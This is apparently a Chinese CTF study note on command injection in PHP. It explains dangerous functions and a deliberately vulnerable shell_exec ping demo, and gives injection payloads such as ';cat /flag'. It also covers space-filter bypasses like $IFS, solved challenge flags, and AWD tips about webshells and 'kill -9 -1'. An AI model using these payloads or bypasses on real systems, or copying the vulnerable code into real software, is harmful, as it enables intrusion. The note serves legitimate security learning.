命令执行
命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。
比如PHP中的system,exec,shell_exec等,当用户可以控制命令执行中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
简单举例来说就是,比如想要创建一个目录,可能不会用代码创建,但是知道系统命令是mkdir,借助系统命令mkdir来创建目录。
举例:cp /tmp/sourcefile /app/public/#{userinput}.jpg
cp是copy拷贝,将sourcefile拷贝到图片中去
如果用户的输入(userinput)是aaa;cat /flag,那么还会读取flag中的内容
命令注入是一种常见的 漏洞形态。一旦存在命令注入漏洞,攻击者就可以在目标系统执行任意命令。
命令注入攻击常用在向程序传入不安全参数(命令行参数、http头、cookie)。
注意:命令执行需要:
1.执行系统命令
2.执行的系统命令(参数)至少是可控的(或者部分可控),传参的地方就是用户可控的地方
命令执行继承Web Server用户的权限,一般都有权限写文件,写马、查看隐私信息、窃取源码,甚至可以反弹shell,危害十分大。
(用户通过服务器执行了php代码实现执行系统命令,所以说“命令执行继承Web Server用户的权限”)
一般Linux下最高权限是root,Web server下一般是www-data权限
漏洞位点
程序过滤不严谨,导致用户可以将代码注入并执行。
高危函数:
eval(),assert(),preg_replace(),call_user_func()等等
对于执行命令的函数,参数过滤不严谨,导致直接命令执行。
高危函数:
system(),exec(),shell_exec(),passthru(),pctnl_exec(),popen(),proc_open()
注:反引号是shell_exec()的别名
比如echo ls
代码注入
程序过滤不严谨,导致用户可以将代码注入并执行。
高危漏洞:
eval(),assert(),preg_replace(),call_user_func()等等
和命令执行的 区别是:
一个执行系统命令,一个执行PHP代码
漏洞利用
看一个Demo:
<?php
if (isset($_GET['ip'])){
$ip = $_GET['ip'];
echo shell_exec("ping -c 4 " . $ip);
}else{
highlight_file(__file__);
}
正常情况下,输入主机地址,则正常返回命令执行结果
代码中的ip参数是直接通过GET方式传入并直接带入了命令中,这时尝试一下使用分隔符并添加一条命令
127.0.0.1;ls -l
联合执行
分号
cmd1;cmd2;cmd3
cmd1将首先运行,不管cmd1运行成功还是出现错误,cmd2都会在它之后运行,当cmd2命令完成时,cmd3将会运行
三个命令互不干扰
&&
有时候希望确保Linux命令中,只有在前一个命令成功结束时,下一个命令才会执行。这就是逻辑和运算符&&出现的地方
cmd1 && cmd2 && cmd3
当第一个命令出现错误时,&&分隔符的命令会停止执行后面的命令。
||
可以使用逻辑操作符(||)运行命令行,但是只有在前一个命令出现错误时才运行下一个命令:
cmd1 || cmd2 || cmd3
如果cmd1运行失败,则运行cmd2。如果cmd2运行成功,cmd3将不会运行。
|
前一个命令的结果作为后一个命令的参数
cmd1 | cmd2
例如:
echo xxx | base64
换行符
%0a
%0d
练习:actf2020exec 平台BUUCTF
首先尝试127.0.0.1
127.0.0.1;ls
;cat /flag
得到flag是flag{3e9af367-c215-4a33-9196-4b5314327d9f}
Bypass
过滤空格
$IFS
${IFS} //加{}是为了区分(间隔)
$IFS$9
< //在Linux中<表示导入
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09
过滤某关键字
练习题目:
空格过滤
显然过滤了很多东西:
不报错了:(查看源代码得到flag)
flag{0af120ba-cd98-43e9-a099-3f9abac9de96}
变量
(上面那道GXYCTF就是一道用变量解决的例子)
PS补充
1.awd比赛中:无法删去别人的 马
www-data和ctf/test不属于一个用户组
解决办法:自己写一个马给自己,通过蚁剑连接Web Shell,通过这个Web shell去删除别人 的Web shell
2.如果别人中的马是每隔1秒写一个马,如何解决?
(如果别人的马是通过网页写的)
给自己写个马,连接Web shell (使自己变成www-data组的用户),再去执行kill -9 -1
若对方是(不是通过网页写的):
那么应该我应该执行:
3.反弹shell
如果已知IP和端口号: